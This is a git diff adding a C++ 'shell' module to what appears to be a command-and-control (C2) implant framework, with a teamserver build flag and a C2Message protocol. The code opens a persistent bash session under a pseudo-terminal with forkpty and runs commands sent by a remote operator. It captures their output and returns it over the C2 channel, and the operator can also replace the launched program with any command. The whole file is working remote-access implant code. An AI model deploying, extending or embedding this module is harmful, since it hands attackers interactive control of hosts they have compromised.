|
| 1 | +#include "Shell.hpp" |
| 2 | +#include "Common.hpp" |
| 3 | + |
| 4 | +#include <cstring> |
| 5 | +#include <pty.h> |
| 6 | +#include <unistd.h> |
| 7 | +#include <sys/select.h> |
| 8 | +#include <sys/wait.h> |
| 9 | +#include <chrono> |
| 10 | + |
| 11 | +using namespace std; |
| 12 | + |
| 13 | +constexpr std::string_view moduleName = "shell"; |
| 14 | +constexpr unsigned long long moduleHash = djb2(moduleName); |
| 15 | + |
| 16 | +#ifdef _WIN32 |
| 17 | +__declspec(dllexport) Shell* ShellConstructor() |
| 18 | +{ |
| 19 | + return new Shell(); |
| 20 | +} |
| 21 | +#else |
| 22 | +__attribute__((visibility("default"))) Shell* ShellConstructor() |
| 23 | +{ |
| 24 | + return new Shell(); |
| 25 | +} |
| 26 | +#endif |
| 27 | + |
| 28 | +Shell::Shell() |
| 29 | +#ifdef BUILD_TEAMSERVER |
| 30 | + : ModuleCmd(std::string(moduleName), moduleHash) |
| 31 | +#else |
| 32 | + : ModuleCmd("", moduleHash) |
| 33 | +#endif |
| 34 | +{ |
| 35 | + m_masterFd = -1; |
| 36 | + m_pid = -1; |
| 37 | + m_started = false; |
| 38 | + m_program = "/bin/bash"; |
| 39 | +} |
| 40 | + |
| 41 | +Shell::~Shell() |
| 42 | +{ |
| 43 | + stopShell(); |
| 44 | +} |
| 45 | + |
| 46 | +std::string Shell::getInfo() |
| 47 | +{ |
| 48 | + std::string info; |
| 49 | +#ifdef BUILD_TEAMSERVER |
| 50 | + info += "shell:\n"; |
| 51 | + info += "Launch an interactive bash shell that persists across commands.\n"; |
| 52 | + info += "Examples:\n"; |
| 53 | + info += " - shell # start shell\n"; |
| 54 | + info += " - shell ls -la # run command\n"; |
| 55 | + info += " - shell exit # stop shell\n"; |
| 56 | +#endif |
| 57 | + return info; |
| 58 | +} |
| 59 | + |
| 60 | +int Shell::init(std::vector<std::string> &splitedCmd, C2Message &c2Message) |
| 61 | +{ |
| 62 | +#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) |
| 63 | + std::string arg; |
| 64 | + if(splitedCmd.size() > 1) |
| 65 | + { |
| 66 | + for(size_t i = 1; i < splitedCmd.size(); ++i) |
| 67 | + { |
| 68 | + arg += splitedCmd[i]; |
| 69 | + if(i + 1 < splitedCmd.size()) |
| 70 | + arg += " "; |
| 71 | + } |
| 72 | + } |
| 73 | + c2Message.set_instruction(splitedCmd[0]); |
| 74 | + c2Message.set_cmd(arg); |
| 75 | +#endif |
| 76 | + return 0; |
| 77 | +} |
| 78 | + |
| 79 | +int Shell::followUp(const C2Message &c2RetMessage) |
| 80 | +{ |
| 81 | + return 0; |
| 82 | +} |
| 83 | + |
| 84 | +int Shell::errorCodeToMsg(const C2Message &c2RetMessage, std::string &errorMsg) |
| 85 | +{ |
| 86 | + return 0; |
| 87 | +} |
| 88 | + |
| 89 | +int Shell::startShell() |
| 90 | +{ |
| 91 | +#ifdef __linux__ |
| 92 | + if(m_started) |
| 93 | + return 0; |
| 94 | + |
| 95 | + pid_t pid = forkpty(&m_masterFd, NULL, NULL, NULL); |
| 96 | + if(pid == -1) |
| 97 | + return 1; |
| 98 | + |
| 99 | + if(pid == 0) |
| 100 | + { |
| 101 | + execlp(m_program.c_str(), m_program.c_str(), (char*)NULL); |
| 102 | + _exit(1); |
| 103 | + } |
| 104 | + |
| 105 | + m_pid = pid; |
| 106 | + m_started = true; |
| 107 | + return 0; |
| 108 | +#else |
| 109 | + return 1; |
| 110 | +#endif |
| 111 | +} |
| 112 | + |
| 113 | +void Shell::stopShell() |
| 114 | +{ |
| 115 | +#ifdef __linux__ |
| 116 | + if(!m_started) |
| 117 | + return; |
| 118 | + |
| 119 | + write(m_masterFd, "exit\n", 5); |
| 120 | + int status = 0; |
| 121 | + waitpid(m_pid, &status, 0); |
| 122 | + close(m_masterFd); |
| 123 | + m_masterFd = -1; |
| 124 | + m_pid = -1; |
| 125 | + m_started = false; |
| 126 | +#endif |
| 127 | +} |
| 128 | + |
| 129 | +int Shell::process(C2Message &c2Message, C2Message &c2RetMessage) |
| 130 | +{ |
| 131 | + std::string cmd = c2Message.cmd(); |
| 132 | + |
| 133 | +#ifdef __linux__ |
| 134 | + if(!m_started) |
| 135 | + { |
| 136 | + if(!cmd.empty()) |
| 137 | + m_program = cmd; |
| 138 | + if(startShell() != 0) |
| 139 | + { |
| 140 | + c2RetMessage.set_errorCode(1); |
| 141 | + return 0; |
| 142 | + } |
| 143 | + if(cmd.empty()) |
| 144 | + { |
| 145 | + c2RetMessage.set_instruction(c2Message.instruction()); |
| 146 | + c2RetMessage.set_returnvalue("shell started"); |
| 147 | + return 0; |
| 148 | + } |
| 149 | + } |
| 150 | + |
| 151 | + if(cmd == "exit") |
| 152 | + { |
| 153 | + stopShell(); |
| 154 | + c2RetMessage.set_instruction(c2Message.instruction()); |
| 155 | + c2RetMessage.set_returnvalue("shell terminated"); |
| 156 | + return 0; |
| 157 | + } |
| 158 | + |
| 159 | + // send command |
| 160 | + if(!cmd.empty()) |
| 161 | + { |
| 162 | + write(m_masterFd, cmd.c_str(), cmd.size()); |
| 163 | + write(m_masterFd, "\n", 1); |
| 164 | + } |
| 165 | + |
| 166 | + // read output with timeout |
| 167 | + std::string output; |
| 168 | + fd_set fds; |
| 169 | + struct timeval tv; |
| 170 | + char buffer[512]; |
| 171 | + auto end = std::chrono::steady_clock::now() + std::chrono::seconds(5); |
| 172 | + while(std::chrono::steady_clock::now() < end) |
| 173 | + { |
| 174 | + FD_ZERO(&fds); |
| 175 | + FD_SET(m_masterFd, &fds); |
| 176 | + tv.tv_sec = 0; |
| 177 | + tv.tv_usec = 200000; // 200ms |
| 178 | + |
| 179 | + int r = select(m_masterFd+1, &fds, NULL, NULL, &tv); |
| 180 | + if(r > 0 && FD_ISSET(m_masterFd, &fds)) |
| 181 | + { |
| 182 | + ssize_t n = read(m_masterFd, buffer, sizeof(buffer)); |
| 183 | + if(n > 0) |
| 184 | + { |
| 185 | + output.append(buffer, n); |
| 186 | + end = std::chrono::steady_clock::now() + std::chrono::seconds(2); |
| 187 | + } |
| 188 | + else |
| 189 | + { |
| 190 | + break; |
| 191 | + } |
| 192 | + } |
| 193 | + else if(!output.empty()) |
| 194 | + { |
| 195 | + break; |
| 196 | + } |
| 197 | + } |
| 198 | + |
| 199 | + c2RetMessage.set_instruction(c2Message.instruction()); |
| 200 | + c2RetMessage.set_returnvalue(output); |
| 201 | +#else |
| 202 | + c2RetMessage.set_errorCode(1); |
| 203 | +#endif |
| 204 | + return 0; |
| 205 | +} |
0 commit comments